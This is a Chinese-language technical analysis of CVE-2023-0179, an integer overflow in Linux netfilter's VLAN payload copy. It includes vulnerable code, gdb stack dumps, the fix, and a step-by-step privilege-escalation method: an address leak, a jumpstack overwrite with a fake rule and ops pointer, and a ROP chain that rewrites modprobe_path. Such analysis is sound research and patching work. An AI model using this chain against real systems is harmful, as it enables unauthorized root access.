漏洞简介
漏洞编号: CVE-2023-0179
漏洞产品: linux kernel - netfilter
利用条件: CAP_NET_ADMIN
利用效果: 本地提权
环境搭建
ubuntu 22.04 + linux-6.1.6
下载编译源码,然后使用下面的 config 编译内核.
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/config
编译命令
make
make modules_install
make install
update-grub
编译完后编辑虚拟机的 .vmx 文件,让其启动时开启 debugStub.
debugStub.listen.guest64 = "TRUE"
debugStub.port.guest64 = "42040"
debugStub.listen.guest64.remote = "TRUE"
然后在调试机上 gdb 连接即可调试内核
target remote host-ip:42040
漏洞分析
漏洞根因是长度计算有误,导致整数溢出,进而导致内存溢出和越界访问。
漏洞函数为 nft_payload_copy_vlan,代码如下:
#define VLAN_HLEN 4
#define VLAN_ETH_HLEN 18
static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8
offset, u8 len)
{
int mac_off = skb_mac_header(skb) - skb->data;
u8 *vlanh, *dst_u8 = (u8 *) d;
struct vlan_ethhdr veth;
u8 vlan_hlen = 0;
if ((skb->protocol == htons(ETH_P_8021AD) || <===== [0] 数据包类型检查
skb->protocol == htons(ETH_P_8021Q)) &&
offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
vlan_hlen += VLAN_HLEN;
vlanh = (u8 *) &veth;
if (offset < VLAN_ETH_HLEN + vlan_hlen) {
u8 ethlen = len;
if (vlan_hlen &&
skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
return false;
else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
return false;
if (offset + len > VLAN_ETH_HLEN + vlan_hlen) <===== [1]
ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen; <===== [2] 计算 ethlen
memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); <===== [3] 从 veth 栈地址拷贝 ethlen 数据到 dst_u8
nft_payload_copy_vlan 的 offset
和 len
由用户态控制:
static int nft_payload_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
struct nft_payload *priv = nft_expr_priv(expr);
// 从 netlink 消息里面提取 base, offset, len, dreg
priv->base = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_BASE]));
priv->offset = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_OFFSET]));
priv->len = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_LEN]));
return nft_parse_register_store(ctx, tb[NFTA_PAYLOAD_DREG],
&priv->dreg, NULL, NFT_DATA_VALUE,
priv->len);
}
nft_payload_copy_vlan
函数中 [2]
的运算有误,会导致 ethlen
整数溢出,变成负数,然后在 [3]
处内存拷贝的时候就会溢出或者越界读。
比如当 offset = 19 ,len = 4
时,经过运算后 ethlen 为 -5
, 由于 ethlen 的类型为 u8
,所以 ethlen 的值为 251.
之后当执行 [3]
处代码时,会从 vlanh
拷贝 251
字节的数据到 dst_u8
中,由于 dst_u8
和 vlanh
的大小都小于 251 字节,因此会导致溢出和越界读。
memcpy 内存拷贝的参数如下:
-
vlanh
是当前函数局部变量struct vlan_ethhdr veth
的地址,veth
的大小为18字节,因此整数溢出后会越界拷贝栈里面的其他数据(包括返回地址、栈中的其他局部变量等)。 -
dst_u8
在nft_payload_eval
函数传入®s->data[priv->dreg]
,实际是nft_do_chain
里面的regs
结构体的地址,结构体大小为 80 字节,位于栈上。
nft_do_chain
函数的局部变量布局如下:
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs = {};
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
struct nft_regs 的结构体类型定义如下,由 20 个 u32 组成,大小为 80 字节.
#define NFT_REG32_NUM 20
struct nft_regs {
union {
u32 data[NFT_REG32_NUM];
struct nft_verdict verdict;
};
};
紧挨着 regs 的是 jumpstack 数组, struct nft_jumpstack 的结构体定义如下:
gef➤ ptype struct nft_jumpstack
type = struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
}
因此控制 priv->dreg
的值,可以控制溢出到 jumpstack 数组的字节数,由于数组中存在指针,通过劫持这些指针,伪造对象,最后可以实现ROP。
漏洞利用
信息泄露
用户态可以下发 expression
对 struct nft_regs
结构体进行读写,通过控制 priv->dreg
让 dst_u8
指向 regs->data
的开头,然后触发漏洞,就能越界将 251
字节的栈数据拷贝到 regs
结构体里面,然后再利用 expression
把数据读出来,就可以进行信息泄露。
具体做法:
-
控制
priv->dreg
为NFT_REG32_00
即nft_regs
的开头,触发漏洞,内核会越界把251
字节的栈数据拷贝到nft_regs
里面。 -
然后利用
dynset
把寄存器里面的数据加载到set
里面. -
然后通过
nft list
命令导出数据到用户态. -
最终泄露出内核基地址和 regs 的地址 (栈地址).
ROP
通过设置 nft_payload
的 dreg
字段,让其指向 nft_regs
的最后一项,这样触发溢出时就可以修改挨在它后面的 jumpstack
数组。
228 nft_do_chain(struct nft_pktinfo *pkt, void *priv)
229 {
230 const struct nft_chain *chain = priv, *basechain = chain;
231 const struct nft_rule_dp *rule, *last_rule;
232 const struct net *net = nft_net(pkt);
233 const struct nft_expr *expr, *last;
234 struct nft_regs regs = {};
235 unsigned int stackptr = 0;
236 struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE]; // 溢出目标
237 bool genbit = READ_ONCE(net->nft.gencursor);
238 struct nft_rule_blob *blob;
239 struct nft_traceinfo info;
在 nft_payload_copy_vlan
函数的 memcpy
处下断点,触发漏洞时可以发现 memcpy
源数据 (src ~ src + size
)包括如下内容:
-
nft_payload_copy_vlan 函数的 veth 结构体以及其后面的内容.
-
nft_do_chain 函数的 nft_regs 结构体 和 jumpstack 的前 0x10 字节。
调试时的上下文:
────── registers ────
$rax : 0xfffffffb
$rbx : 0xffffc90000003ae0
$rcx : 0x0000000000001e → 0x0000000000001e
$rdx : 0x000000000000fb → 0x000000000000fb
$rsp : 0xffffc90000003a00
$rbp : 0xffffc90000003a70
$rsi : 0xffffc90000003a45
$rdi : 0xffffc90000003af8
$rip : 0xffffffff81c47799 → <nft_payload_eval+857> rep movs QWORD PTR es:[rdi], QWORD PTR ds:[rsi]
$r8 : 0x00000000000013 → 0x00000000000013
$r9 : 0x00000000000004 → 0x00000000000004
$r10 : 0x00000000000017 → 0x00000000000017
$r11 : 0x00000000000004 → 0x00000000000004
$r12 : 0x00000000000004 → 0x00000000000004
$r13 : 0xffff888103714600
$r14 : 0xffffc90000003af0
$r15 : 0xfffffffffffffff2
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────── code:x86:64 ────
0xffffffff81c47791 <nft_payload_eval+849> sub rsi, rcx
0xffffffff81c47794 <nft_payload_eval+852> add ecx, edx
0xffffffff81c47796 <nft_payload_eval+854> shr ecx, 0x3
●→ 0xffffffff81c47799 <nft_payload_eval+857> rep movs QWORD PTR es:[rdi], QWORD PTR ds:[rsi]
───────────── source:net/netfilter/n[...].c+67 ────
64 if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
65 ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
66
→ 67 memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);
───────────── trace ────
[#0] 0xffffffff81c47799 → nft_payload_copy_vlan(len=<optimized out>, offset=<optimized out>, skb=0xffff888103714600, d=0xffffc90000003af0)
[#1] 0xffffffff81c47799 → nft_payload_eval(expr=<optimized out>, regs=0xffffc90000003ae0, pkt=<optimized out>)
[#2] 0xffffffff81c2c6e1 → expr_call_ops_eval(pkt=0xffffc90000003d10, regs=0xffffc90000003ae0, expr=0xffff8881062541f0)
[#3] 0xffffffff81c2c6e1 → nft_do_chain(pkt=0xffffc90000003d10, priv=0xffff88816b53b950)
[#4] 0xffffffff81c43254 → nft_do_chain_netdev(priv=0xffff88816b53b950, skb=<optimized out>,
相关的变量的地址如下:
-
memcpy 拷贝的数据源(src + size):
[0xffffc90000003a45, 0xffffc90000003b40]
-
nft_do_chain 函数的
regs
:0xffffc90000003ae0
-
nft_do_chain 函数的
jumpstack
起始地址0xffffc90000003b30
,结束地址0xffffc90000003cb0
.
设置 dreg
为 NFT_REG32_15
,触发漏洞时 memcpy
的源地址范围为 [nft_payload_copy_vlan 的 vlan_ethhdr, nft_do_chain 的 jumpstack ]
,即图中的 [0x3a45, 0x3b40]
.
溢出的目的地址范围包括 ®s.data[19] ~ &jumpstack[10]
。
因此我们只能溢出 jumpstack
,且溢出的数据中前面一部分字节的数据不可控,struct nft_jumpstack
的结构体定义如下。
gef➤ ptype /o struct nft_jumpstack
/* offset | size */ type = struct nft_jumpstack {
/* 0 | 8 */ const struct nft_chain *chain;
/* 8 | 8 */ const struct nft_rule_dp *rule;
/* 16 | 8 */ const struct nft_rule_dp *last_rule;
/* total size (bytes): 24 */
}
ntf_rule_dp
的 data
字段中保存的是 struct nft_expr
数组
#define nft_rule_expr_first(rule) (struct nft_expr *)&rule->data[0]
gef➤ ptype /o struct nft_rule_dp
/* offset | size */ type = struct nft_rule_dp {
/* 0: 0 | 8 */ u64 is_last : 1;
/* 0: 1 | 8 */ u64 dlen : 12;
/* 1: 5 | 8 */ u64 handle : 42;
/* XXX 1-bit hole */
/* XXX 1-byte hole */
/* 8 | 0 */ unsigned char data[];
/* total size (bytes): 8 */
}
struct nft_expr
里面有函数指针表,由于通过泄露获取了 regs 的地址,且 regs 中的内容可以通过 netfilter 的其他表达式设置。
因此我们可以在 regs 伪造 rule, expr, 以及 expr->ops->eval 函数指针,然后触发函数指针调用执行 rop
。
溢出 jumpstack 前
gef➤ p 0xffffc90000003ae0+4*20
$34 = 0xffffc90000003b30
gef➤ x/40xg 0xffffc90000003b30 # jumpstack
0xffffc90000003b30: 0xffff8881a16fadfa 0xffff8881002459f0
0xffffc90000003b40: 0xffff8881002459f0 0xffff888171c97480
0xffffc90000003b50: 0xffff8881002458d0 0xffff8881002458d0
0xffffc90000003b60: 0xffff888171c97c80 0xffff888100245150
0xffffc90000003b70: 0xffff888100245150 0xffff888171c97900
0xffffc90000003b80: 0xffff888100245390 0xffff888100245390
0xffffc90000003b90: 0xffff888171c97800 0xffff888100245e70
0xffffc90000003ba0: 0xffff888100245e70 0xffff888171c97280
0xffffc90000003bb0: 0xffff888100245630 0xffff888100245630
0xffffc90000003bc0: 0xffff888171c97680 0xffff888100245ab0
0xffffc90000003bd0: 0xffff888100245ab0 0xffff888171c97b80
0xffffc90000003be0: 0xffff888100245330 0xffff888100245330
0xffffc90000003bf0: 0xffff888100b2ba80 0xffff888100b2b360
0xffffc90000003c00: 0xc88d406900000080 0xffff888100b2ba80
0xffffc90000003c10: 0x00000000000323c0 0xfa00000000000000
0xffffc90000003c20: 0x00ffff8881a16fad 0x00000000ffff7661
0xffffc90000003c30: 0x0000000000000000 0xffffc90000003c48
0xffffc90000003c40: 0xffffffff81ef1eab 0xffffc90000003ca0
0xffffc90000003c50: 0xffffffff81109efe 0xffffc90000003ca0
0xffffc90000003c60: 0xffffffff8118bffb 0x0000000000000000
溢出后在 0xffffc90000003be0
伪造一个 rule
以及其中的 expr
,并将 ops->eval
函数指针改到了 0xffffffff81134571
,之后内核使用该函数指针时就会进入 ROP 中执行。
gef➤ x/40xg 0xffffc90000003b30 # jumpstack
0xffffc90000003b30: 0x1026449d9e6ff393 0x08ffff88811db15a
0xffffc90000003b40: 0xe0ffff88811db158 0x00ffffc90000003a
0xffffc90000003b50: 0x10ffff88811db15c 0xe0ffffc90000003d
0xffffc90000003b60: 0xe1ffffc90000003c 0x00ffffffff81c2c6
0xffffc90000003b70: 0x00ffff88815863fc 0x50ffff88810324c0
0xffffc90000003b80: 0x01ffff88810d98fd 0x0000000008000000
0xffffc90000003b90: 0x00ffff88810d9921 0x00ffff88811db15c
0xffffc90000003ba0: 0x00ffffc90000003b 0xb200000000000000
0xffffc90000003bb0: 0x000000000100001d 0xe000000000000000
0xffffc90000003bc0: 0xabffffc90000003a 0xffffffffff81ef1e
0xffffc90000003bd0: 0x0000000000ffffff 0x41ffff88810d9921
// 0xffffc90000003be0: overwrite'd jumpstack[7].rule = 0xffffc90000003be8
// 0xffffc90000003be8 处为 fake struct nft_rule_dp
0xffffc90000003be0: 0xffffc90000003be8 0xffffffffffffffff
// fake struct nft_expr->ops=0xffffc90000003bf8, ops->eval=0xffffffff81134571
0xffffc90000003bf0: 0xffffc90000003bf8 0xffffffff81134571
0xffffc90000003c00: 0x4141414141414141 0x4141414141414141
0xffffc90000003c10: 0x4141414141414141 0x9300008105414141
0xffffc90000003c20: 0x00ffff88819e6ff3 0x8601000406000801
0xffffc90000003c30: 0x0000000000000000 0xffffc90000003c48
0xffffc90000003c40: 0xffffffff81ef1eab 0xffffc90000003ca0
0xffffc90000003c50: 0xffffffff81109efe 0xffffc90000003ca0
0xffffc90000003c60: 0xffffffff8118bffb 0x0000000000000000
因此完整的利用步骤:
-
利用信息泄露获取内核镜像基地址和
regs
的地址。 -
利用
immediate expr
在regs
里面布置数据,包括rop
链、伪造的rule
、expr
、和expr->ops->eval
。 -
设置 dreg 为
NFT_REG32_15
,触发漏洞,溢出修改jumpstack
中的 rule 指针指向伪造的struct nft_rule_dp
结构体,同时伪造expr->ops->eval
。 -
nft_do_chain
执行expr->ops->eval
时跳转到rop gadget
中执行 -
rop 修改
modprobe_path
提权。
漏洞补丁
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
...
if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
- ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+ ethlen -= offset + len - VLAN_ETH_HLEN - vlan_hlen;
...
}
参考链接
-
https://www.openwall.com/lists/oss-security/2023/01/13/2
-
https://github.com/TurtleARM/CVE-2023-0179-PoC
原文始发于微信公众号(华为安全应急响应中心):[漏洞分析] CVE-2023-0179内核提权详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论